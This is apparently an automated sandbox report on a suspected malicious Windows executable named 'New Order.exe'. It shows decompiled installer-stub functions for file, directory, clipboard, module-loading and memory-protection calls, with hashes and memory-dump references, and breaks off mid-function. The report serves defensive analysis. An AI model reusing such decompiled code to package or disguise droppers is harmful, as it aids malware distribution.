					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42372c =  *0x42372c + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x42372c, 0x7530,  *0x423714), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(00000020,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3f695f75208f640be867956647b5e414a31c5be601b183f87834ddd8f53d2100
Instruction ID: 9ae17229e6d33b90ed82c987c6c55cbce7d6b2b41e99f766f3e5bcfc28262e64
Opcode Fuzzy Hash: 3f695f75208f640be867956647b5e414a31c5be601b183f87834ddd8f53d2100
Instruction Fuzzy Hash: CA014472B242109BEB184B389C04B2A32A8E710319F10813BF841F72F1D638CC028B4D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F28, Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F28(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x409208);
				_t5 = GetModuleHandleA( *(_t10 + 0x409208));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40920c));
				}
				_t5 = E00405EBA(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00405f30
0x00405f33
0x00405f3a
0x00405f42
0x00405f4e
0x00000000
0x00405f55
0x00405f45
0x00405f4c
0x00000000
0x00405f5d
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
GetProcAddress.KERNEL32(00000000,?), ref: 00405F55

Part of subcall function 00405EBA: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405ED1
Part of subcall function 00405EBA: wsprintfA.USER32 ref: 00405F0A
Part of subcall function 00405EBA: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00405F1E

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c95d3685517970e0c019aac56d97440eb4eeb9d6cd7db5aa949554c45ee13345
Instruction ID: ae0a47d2ae808e9ad23d4e83699500a4151a320e34d6f574464110b7e3b32053
Opcode Fuzzy Hash: c95d3685517970e0c019aac56d97440eb4eeb9d6cd7db5aa949554c45ee13345
Instruction Fuzzy Hash: 7AE08632A0951176D61097709D0496773ADDAC9740300087EF659F6181D738AC119E6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040586F, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040586F(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405873
0x00405880
0x00405895
0x0040589b

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C95,C:\Users\user\Desktop\New Order.exe,80000000,00000003), ref: 00405873
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405895

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 5340b84021e5d080a0f841e0942d03c921a309eaf12029fe197c00c0f40f89c7
Instruction ID: e615d4ce70e2a600ad3370b8a7bf294de68ab1b424622093f8f4c5f34a5113e1
Opcode Fuzzy Hash: 5340b84021e5d080a0f841e0942d03c921a309eaf12029fe197c00c0f40f89c7
Instruction Fuzzy Hash: D5D09E31658301AFEF098F20DD1AF2EBBA2EB84B01F10962CB646940E0D6715C59DB16

Uniqueness

Uniqueness Score: -1.00%

Function 00405850, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405850(CHAR* _a4) {
				signed char _t3;

				_t3 = GetFileAttributesA(_a4); // executed
				if(_t3 != 0xffffffff) {
					return SetFileAttributesA(_a4, _t3 & 0x000000fe);
				}
				return _t3;
			}

0x00405854
0x0040585d
0x00000000
0x00405866
0x0040586c

APIs

GetFileAttributesA.KERNELBASE(?,0040565B,?,?,?), ref: 00405854
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405866

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 526d85b860984864a1b6eb1eb54cd64df673d9b311570f6054ba349a806b51eb
Instruction ID: 81e3be7da977fa0fdb855dbc2a497946ad1e8e9610c44c99cc48e92da118c7e0
Opcode Fuzzy Hash: 526d85b860984864a1b6eb1eb54cd64df673d9b311570f6054ba349a806b51eb
Instruction Fuzzy Hash: C2C00271808501AAD6016B34EE0D81F7B66EB54321B148B25F469A01F0C7315C66DA2A

Uniqueness

Uniqueness Score: -1.00%

Function 004053C3, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004053C3(CHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryA(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x004053c9
0x004053d1
0x00000000
0x004053d7
0x00000000

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004030EE,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 004053C9
GetLastError.KERNEL32 ref: 004053D7

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction ID: 6b45de36f316d487aa01e9413b839baa5bb3cf32c01ac4838d60d751b980a7e6
Opcode Fuzzy Hash: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction Fuzzy Hash: E0C04C30619642DBD7105B31ED08B177E60EB50781F208935A506F11E0D6B4D451DD3E

Uniqueness

Uniqueness Score: -1.00%

Function 00403081, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403081(void* _a4, long _a8) {
				int _t6;
				long _t10;

				_t10 = _a8;
				_t6 = ReadFile( *0x409014, _a4, _t10,  &_a8, 0); // executed
				if(_t6 == 0 || _a8 != _t10) {
					return 0;
				} else {
					return 1;
				}
			}

0x00403085
0x00403098
0x004030a0
0x00000000
0x004030a7
0x00000000
0x004030a9

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,00402EDA,000000FF,00000004,00000000,00000000,00000000), ref: 00403098

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 27fbe12f246225e3c312bde4903856853e362ca19ec2099a42773af8ab92d4e2
Instruction ID: e4cef5105026143dd13b930ce46becb45ea6c66ba88fb4286e933b642882ba15
Opcode Fuzzy Hash: 27fbe12f246225e3c312bde4903856853e362ca19ec2099a42773af8ab92d4e2
Instruction Fuzzy Hash: F3E08631211118FBDF209E51EC00A973B9CDB04362F008032B904E5190D538DA10DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 10002910, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x10004038 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x1000404c, 4, 0x40, 0x1000403c); // executed
					 *0x1000404c = 0xc2;
					 *0x1000403c = 0;
					 *0x10004044 = 0;
					 *0x10004054 = 0;
					 *0x10004048 = 0;
					 *0x10004040 = 0;
					 *0x1000404e = 0;
				}
				return 1;
			}

0x10002919
0x1000291e
0x1000292e
0x10002936
0x1000293d
0x10002942
0x10002947
0x1000294c
0x10002951
0x10002956
0x10002956
0x1000295e

APIs

VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 1000292E

Memory Dump Source

Source File: 00000000.00000002.646234241.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.646220479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646244933.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646258194.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 34d967791fa0c81937acb5e832d60935bd6fac481f559dacb71f15d92aed8369
Instruction ID: 9c362bd89546411511ea43e0443ad1e83f8bc8cc053274edabd49a87c402c727
Opcode Fuzzy Hash: 34d967791fa0c81937acb5e832d60935bd6fac481f559dacb71f15d92aed8369
Instruction Fuzzy Hash: 01E0C2F15092A1DEF360DF688CC47023FE4E3983C5B03842AE348F7269EB3841448B19

Uniqueness

Uniqueness Score: -1.00%

Function 004030B3, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030B3(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409014, _a4, 0, 0); // executed
				return _t2;
			}

0x004030c1
0x004030c7

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E1C,?), ref: 004030C1

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: b482a8c56bd79b67497ba547cc3d1d0f84b07fc9ac7ac5f50d4e9ed509354c89
Instruction ID: aafe5e0ddee8b519ffd98e4e857b28c3b9165386d483fecacc2863ad1570d206
Opcode Fuzzy Hash: b482a8c56bd79b67497ba547cc3d1d0f84b07fc9ac7ac5f50d4e9ed509354c89
Instruction Fuzzy Hash: D6B01231544200BFDB214F00DF06F057B21B79C701F208030B340380F082712430EB1E

Uniqueness

Uniqueness Score: -1.00%

Function 10001000, Relevance: 1.3, APIs: 1, Instructions: 16
memoryCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E10001000(intOrPtr _a8, intOrPtr _a16) {
				long _t5;
				void* _t6;

				 *0x10004058 = _a8;
				 *0x1000405c = _a16;
				_t5 = E100017FE();
				if(_t5 != 0) {
					_t6 = GlobalAlloc(0x40, _t5); // executed
					_push(_t6);
				} else {
					_push(_t5);
				}
				return E10001825();
			}

0x10001004
0x1000100d
0x10001012
0x10001019
0x10001021
0x10001027
0x1000101b
0x1000101b
0x1000101b
0x1000102e

APIs

GlobalAlloc.KERNELBASE(00000040,00000000), ref: 10001021

Memory Dump Source

Source File: 00000000.00000002.646234241.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.646220479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646244933.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646258194.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 61514a1c763785071cf50fc6d6c14fbf39c44340d08e07733eb688f9b32edf2f
Instruction ID: 4bed1d4784c55e4e126bbf2fc3d550e86f6dc06da7f694ddde7ac900ba0193af
Opcode Fuzzy Hash: 61514a1c763785071cf50fc6d6c14fbf39c44340d08e07733eb688f9b32edf2f
Instruction Fuzzy Hash: DFD05EF4604381EBF300DF70C88994B37E8EB4C2D0F118819FA45D2118DA74D8404F20

Uniqueness

Uniqueness Score: -1.00%

Function 10001541, Relevance: 1.3, APIs: 1, Instructions: 4
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001541() {
				void* _t1;

				_t1 = GlobalAlloc(0x40,  *0x10004058); // executed
				return _t1;
			}

0x10001549
0x1000154f

APIs

GlobalAlloc.KERNELBASE(00000040,10001577,?,?,10001804,?,10001017), ref: 10001549

Memory Dump Source

Source File: 00000000.00000002.646234241.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.646220479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646244933.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646258194.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 8dec1988ff7a2beb4b9117a4c8d893658d09db9a8f74ba49e322f4002f413595
Instruction ID: 4dafbad5e8ab0305fa889b032d762fa57f52ac67aacfd2269760c410bf251020
Opcode Fuzzy Hash: 8dec1988ff7a2beb4b9117a4c8d893658d09db9a8f74ba49e322f4002f413595
Instruction Fuzzy Hash: 46A002B2941560DBFE42ABE08D9EF5B3B25E748781F02C040E719641BCCA754064DF29

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404FC2, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00404FC2(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t87;
				unsigned int _t92;
				int _t94;
				int _t95;
				void* _t101;
				intOrPtr _t123;
				struct HWND__* _t127;
				int _t149;
				int _t150;
				struct HWND__* _t154;
				struct HWND__* _t158;
				struct HMENU__* _t160;
				long _t162;
				void* _t163;
				short* _t164;

				_t154 =  *0x423724;
				_t149 = 0;
				_v8 = _t154;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E00404F56, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b || _a12 != _t154) {
								goto L20;
							} else {
								_t87 = SendMessageA(_t154, 0x1004, _t149, _t149);
								_a8 = _t87;
								if(_t87 <= _t149) {
									L37:
									return 0;
								}
								_t160 = CreatePopupMenu();
								AppendMenuA(_t160, _t149, 1, E00405BBA(_t149, _t154, _t160, _t149, 0xffffffe1));
								_t92 = _a16;
								if(_t92 != 0xffffffff) {
									_t150 = _t92;
									_t94 = _t92 >> 0x10;
								} else {
									GetWindowRect(_t154,  &_v28);
									_t150 = _v28.left;
									_t94 = _v28.top;
								}
								_t95 = TrackPopupMenu(_t160, 0x180, _t150, _t94, _t149, _a4, _t149);
								_t162 = 1;
								if(_t95 == 1) {
									_v60 = _t149;
									_v48 = 0x420538;
									_v44 = 0xfff;
									_a4 = _a8;
									do {
										_a4 = _a4 - 1;
										_t162 = _t162 + SendMessageA(_v8, 0x102d, _a4,  &_v68) + 2;
									} while (_a4 != _t149);
									OpenClipboard(_t149);
									EmptyClipboard();
									_t101 = GlobalAlloc(0x42, _t162);
									_a4 = _t101;
									_t163 = GlobalLock(_t101);
									do {
										_v48 = _t163;
										_t164 = _t163 + SendMessageA(_v8, 0x102d, _t149,  &_v68);
										 *_t164 = 0xa0d;
										_t163 = _t164 + 2;
										_t149 = _t149 + 1;
									} while (_t149 < _a8);
									GlobalUnlock(_a4);
									SetClipboardData(1, _a4);
									CloseClipboard();
								}
								goto L37;
							}
						}
						if( *0x42370c == _t149) {
							ShowWindow( *0x423f48, 8);
							if( *0x423fcc == _t149) {
								E00404E84( *((intOrPtr*)( *0x41fd08 + 0x34)), _t149);
							}
							E00403E2D(1);
							goto L25;
						}
						 *0x41f900 = 2;
						E00403E2D(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E00403EBB(_a8, _a12, _a16);
						}
						ShowWindow( *0x423710, _t149);
						ShowWindow(_t154, 8);
						E00403E89(_t154);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_v60 = 2;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t123 =  *0x423f50;
				_a8 =  *((intOrPtr*)(_t123 + 0x5c));
				_a12 =  *((intOrPtr*)(_t123 + 0x60));
				 *0x423710 = GetDlgItem(_a4, 0x403);
				 *0x423708 = GetDlgItem(_a4, 0x3ee);
				_t127 = GetDlgItem(_a4, 0x3f8);
				 *0x423724 = _t127;
				_v8 = _t127;
				E00403E89( *0x423710);
				 *0x423714 = E00404726(4);
				 *0x42372c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(0x15);
				SendMessageA(_v8, 0x101b, 0,  &_v60);
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a8);
					SendMessageA(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t149) {
					SendMessageA(_v8, 0x1024, _t149, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00403E54(_a4);
				if(( *0x423f58 & 0x00000003) != 0) {
					ShowWindow( *0x423710, _t149);
					if(( *0x423f58 & 0x00000002) != 0) {
						 *0x423710 = _t149;
					} else {
						ShowWindow(_v8, 8);
					}
					E00403E89( *0x423708);
				}
				_t158 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t158, 0x401, _t149, 0x75300000);
				if(( *0x423f58 & 0x00000004) != 0) {
					SendMessageA(_t158, 0x409, _t149, _a12);
					SendMessageA(_t158, 0x2001, _t149, _a8);
				}
				goto L37;
			}

0x00404fcb
0x00404fd1
0x00404fda
0x00404fdd
0x00405175
0x00405199
0x00405199
0x004051ac
0x004051ca
0x004051d1
0x00405228
0x0040522c
0x00000000
0x00405233
0x0040523b
0x00405243
0x00405246
0x0040533f
0x00000000
0x0040533f
0x00405255
0x00405261
0x00405267
0x0040526d
0x00405282
0x00405288
0x0040526f
0x00405274
0x0040527a
0x0040527d
0x0040527d
0x00405298
0x004052a0
0x004052a3
0x004052ac
0x004052af
0x004052b6
0x004052bd
0x004052c5
0x004052c5
0x004052dc
0x004052dc
0x004052e3
0x004052e9
0x004052f2
0x004052f9
0x00405302
0x00405304
0x00405307
0x00405316
0x00405318
0x0040531e
0x0040531f
0x00405320
0x00405328
0x00405333
0x00405339
0x00405339
0x00000000
0x004052a3
0x0040522c
0x004051d9
0x00405209
0x00405211
0x0040521c
0x0040521c
0x00405223
0x00000000
0x00405223
0x004051dd
0x004051e7
0x00000000
0x004051ae
0x004051b4
0x004051ec
0x00000000
0x004051f5
0x004051bd
0x004051c2
0x004051c5
0x00000000
0x004051c5
0x004051ac
0x00404fe3
0x00404fe7
0x00404ff0
0x00404ff7
0x00404ffa
0x00404ffd
0x00405000
0x00405001
0x00405002
0x0040501b
0x0040501e
0x00405028
0x00405037
0x0040503f
0x00405047
0x0040504c
0x0040504f
0x0040505b
0x00405064
0x0040506d
0x00405090
0x00405096
0x004050a7
0x004050ac
0x004050ba
0x004050c8
0x004050c8
0x004050cd
0x004050db
0x004050db
0x004050e0
0x004050e3
0x004050e8
0x004050f4
0x004050fd
0x0040510a
0x00405119
0x0040510c
0x00405111
0x00405111
0x00405125
0x00405125
0x00405139
0x00405142
0x0040514b
0x0040515b
0x00405167
0x00405167
0x00000000

APIs

GetDlgItem.USER32 ref: 00405021
GetDlgItem.USER32 ref: 00405030
GetClientRect.USER32 ref: 0040506D
GetSystemMetrics.USER32 ref: 00405075
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00405096
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004050A7
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 004050BA
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 004050C8
SendMessageA.USER32(?,00001024,00000000,?), ref: 004050DB
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004050FD
ShowWindow.USER32(?,00000008), ref: 00405111
GetDlgItem.USER32 ref: 00405132
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405142
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 0040515B
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 00405167
GetDlgItem.USER32 ref: 0040503F

Part of subcall function 00403E89: SendMessageA.USER32(00000028,?,00000001,00403CBA), ref: 00403E97

GetDlgItem.USER32 ref: 00405184
CreateThread.KERNEL32(00000000,00000000,Function_00004F56,00000000), ref: 00405192
CloseHandle.KERNEL32(00000000), ref: 00405199
ShowWindow.USER32(00000000), ref: 004051BD
ShowWindow.USER32(?,00000008), ref: 004051C2
ShowWindow.USER32(00000008), ref: 00405209
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040523B
CreatePopupMenu.USER32 ref: 0040524C
AppendMenuA.USER32 ref: 00405261
GetWindowRect.USER32 ref: 00405274
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405298
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004052D3
OpenClipboard.USER32(00000000), ref: 004052E3
EmptyClipboard.USER32(?,?,00000000,?,00000000), ref: 004052E9
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 004052F2
GlobalLock.KERNEL32 ref: 004052FC
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405310
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00405328
SetClipboardData.USER32(00000001,00000000), ref: 00405333
CloseClipboard.USER32(?,?,00000000,?,00000000), ref: 00405339

Strings

{, xrefs: 00405228

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 2304b148e9a21fd8fd2dbd7aea04fbfc66f4e7d68f979f8d2529fbafd725d49b
Instruction ID: 6929f331228a41c4e1f6bf5049925f100d3ed94cd800429e98060a15954be78d
Opcode Fuzzy Hash: 2304b148e9a21fd8fd2dbd7aea04fbfc66f4e7d68f979f8d2529fbafd725d49b
Instruction Fuzzy Hash: 6DA13AB1900208BFDB119F60DD89AAE7F79FB44355F00813AFA05BA1A0C7795E41DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004047D3, Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E004047D3(struct HWND__* _a4, int _a8, unsigned int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				intOrPtr _v20;
				void* _v24;
				long _v28;
				int _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				intOrPtr _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t182;
				int _t196;
				long _t202;
				signed int _t206;
				signed int _t217;
				void* _t220;
				void* _t221;
				int _t227;
				signed int _t232;
				signed int _t233;
				signed int _t240;
				struct HBITMAP__* _t250;
				void* _t252;
				char* _t268;
				signed char _t269;
				long _t274;
				int _t280;
				signed int* _t281;
				int _t282;
				long _t283;
				int _t285;
				long _t286;
				signed int _t287;
				long _t288;
				signed int _t291;
				signed int _t298;
				signed int _t300;
				signed int _t302;
				int* _t310;
				void* _t311;
				int _t315;
				int _t316;
				int _t317;
				signed int _t318;
				void* _t320;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_t182 = GetDlgItem(_a4, 0x408);
				_t280 =  *0x423f68;
				_t320 = SendMessageA;
				_v8 = _t182;
				_t315 = 0;
				_v32 = _t280;
				_v20 =  *0x423f50 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t289 = _a16;
					} else {
						_a12 = _t315;
						_t289 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t289;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t289 + 4)) == 0x408) {
							if(( *0x423f59 & 0x00000002) != 0) {
								L41:
								if(_v16 != _t315) {
									_t232 = _v16;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, _t315,  *(_t232 + 0x5c));
									}
									_t233 = _v16;
									if( *((intOrPtr*)(_t233 + 8)) == 0xfffffe6a) {
